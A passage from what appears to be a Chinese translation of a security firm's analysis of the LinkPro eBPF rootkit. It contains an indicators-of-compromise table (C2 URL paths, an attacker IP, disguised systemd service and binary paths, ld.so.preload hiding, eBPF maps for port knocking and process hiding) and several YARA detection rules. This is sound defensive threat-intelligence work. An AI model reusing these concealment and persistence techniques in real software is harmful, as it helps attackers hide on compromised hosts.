</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">file_manage</span></code><span leaf="">命令及其子命令 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">list_files</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">get_current_dir</span></code><span leaf="">) 来探查受害主机的文件系统。</span></p></td></tr></tbody></table><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">失陷指标 ( IOCs ) 表 — LinkPro</span></h2><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">IOC 类型</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">指标</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">描述</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">网络</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/api/client/file/download?path=...</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">upload_file</span></code><p><span leaf="">命令在向受害主机下发工具时使用的 URL。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">网络</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/reverse/handshake ;</span></code><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/reverse/heartbeat</span></code><p><span leaf="">; </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/reverse/operation</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro 在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reverse</span></code><span leaf="">模式下用于从操作员处接收命令的 URL。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">网络</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">18.199.101.111</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro 样本 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">forward</span></code><span leaf="">模式 ) 的目的 IP 地址。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/systemd/system/systemd-resolveld.service</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">伪装成合法 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">systemd-resolved</span></code><span leaf="">服务的恶意服务文件 ( 注意末尾多了一个 &#34;d&#34; ) 。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/root/.tmp~data.ok</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro 二进制的位置与文件名,用以模仿系统文件。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/lib/.system/.tmp~data.resolveld</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro 二进制的位置与文件名,用以模仿系统文件。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/libld.so</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">通过修改 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">,把它当作隐匿机制使用。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">主机</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">systemd-resolveld</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">该恶意服务名称刻意制造与合法服务 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">systemd-resolved</span></code><span leaf="">之间的混淆。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">主机</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">conf_map</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro Knock 模块使用的 eBPF map,保存内部端口。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">主机</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">knock_map</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro Knock 模块使用的 eBPF map,保存被授权的 IP 地址。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">主机</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main_ebpf_progs</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro Hide 模块使用的 eBPF map,保存待隐藏的 eBPF 程序。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">主机</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pids_to_hide_map</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LinkPro Hide 模块使用的 eBPF map,保存待隐藏进程的 PID。</span></p></td></tr></tbody></table><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">YARA 规则</span></h2><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">import </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;elf&#34;</span></span><br/><span leaf="">rule MAL_LinkPro_ELF_Rootkit_Golang_Oct25 {</span><br/><span leaf="">  meta:</span><br/><span leaf="">    description = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Detects LinkPro rootkit&#34;</span></span><br/><span leaf="">    author = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CSIRT Synacktiv, Théo Letailleur&#34;</span></span><br/><span leaf="">    date = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2025-10-13&#34;</span></span><br/><span leaf="">    reference = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;<a href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis" target="_blank">https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis</a>&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">hash</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">hash</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b&#34;</span></span><br/><span leaf="">  strings:</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$linkp_mod</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;link-pro/link-client&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$linkp_embed_libld</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;resources/libld.so&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$linkp_embed_lkm</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;resources/arp_diag.ko&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$linkp_ebpf_hide</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;hidePrograms&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$linkp_ebpf_knock</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;knock_prog&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$go_pty</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;creack/pty&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$go_socks</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;resocks&#34;</span></span><span leaf=""> fullword ascii</span><br/><span leaf="">  condition:</span><br/><span leaf="">    uint32(0) == 0x464c457f and filesize </span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> 5MB and elf.type == elf.ET_EXEC</span><br/><span leaf="">    and 2 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$linkp</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">    and 1 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$go</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">import</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;elf&#34;</span></span><br/><span leaf="">rule MAL_LinkPro_Hide_ELF_BPF_Oct25 {</span><br/><span leaf="">  meta:</span><br/><span leaf="">    description = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Detects LinkPro Hide eBPF module&#34;</span></span><br/><span leaf="">    author = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CSIRT Synacktiv, Théo Letailleur&#34;</span></span><br/><span leaf="">    date = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2025-10-13&#34;</span></span><br/><span leaf="">    reference = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;<a href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis" target="_blank">https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis</a>&#34;</span></span><br/><span leaf="">    hash = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164&#34;</span></span><br/><span leaf="">  strings:</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_getdents</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/syscalls/sys_enter_getdents&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_getdentsret</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/syscalls/sys_exit_getdents&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_bpf</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/syscalls/sys_enter_bpf&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_bpfret</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;sys_bpf&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$str1</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BPF cmd: </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%d</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">, start_id: </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%u</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$str2</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;HIDING NEXT_ID: </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%u</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$str3</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.tmp~data&#34;</span></span><span leaf=""> fullword ascii</span><br/><span leaf="">  condition:</span><br/><span leaf="">    uint32(0) == 0x464c457f </span><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""> uint16(0x12) == 0x00f7 // BPF Machine</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""> elf.type == elf.ET_REL</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""> 2 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$hook</span></span><span leaf="">*)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""> 1 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$str</span></span><span leaf="">*)</span><br/><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">import </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;elf&#34;</span></span><br/><span leaf="">rule MAL_LinkPro_Knock_ELF_BPF_Oct25 {</span><br/><span leaf="">  meta:</span><br/><span leaf="">    description = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Detects LinkPro Knock eBPF module&#34;</span></span><br/><span leaf="">    author = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CSIRT Synacktiv, Théo Letailleur&#34;</span></span><br/><span leaf="">    date = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2025-10-13&#34;</span></span><br/><span leaf="">    reference = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;<a href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis" target="_blank">https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis</a>&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">hash</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3&#34;</span></span><br/><span leaf="">  strings:</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_xdp</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;xdp_ingress&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$hook_tc_egress</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;tc_egress&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$str1</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[DBG-XDP]&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$str2</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[DBG-9999]&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$str3</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[TC-MISS]&#34;</span></span><span leaf=""> fullword ascii</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">$str4</span></span><span leaf=""> = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[TC] REWRITE_BACK&#34;</span></span><span leaf=""> fullword ascii</span><br/><span leaf="">  condition:</span><br/><span leaf="">    uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine</span><br/><span leaf="">    and elf.type == elf.ET_REL</span><br/><span leaf="">    and 1 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$hook</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">    and 2 of (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$str</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span><br/><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">import </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;elf&#34;</span></span><br/><span leaf="">rule MAL_LinkPro_LdPreload_ELF_SO_Oct25 {</span><br/><span leaf="">  meta:</span><br/><span leaf="">    description = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Detects LinkPro ld preload module&#34;</span></span><br/><span leaf="">    author = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CSIRT Synacktiv, Théo Letailleur&#34;</span></span><br/><span leaf="">    date = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;2025-10-13&#34;</span></span><br/><span leaf="">    reference = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;<a 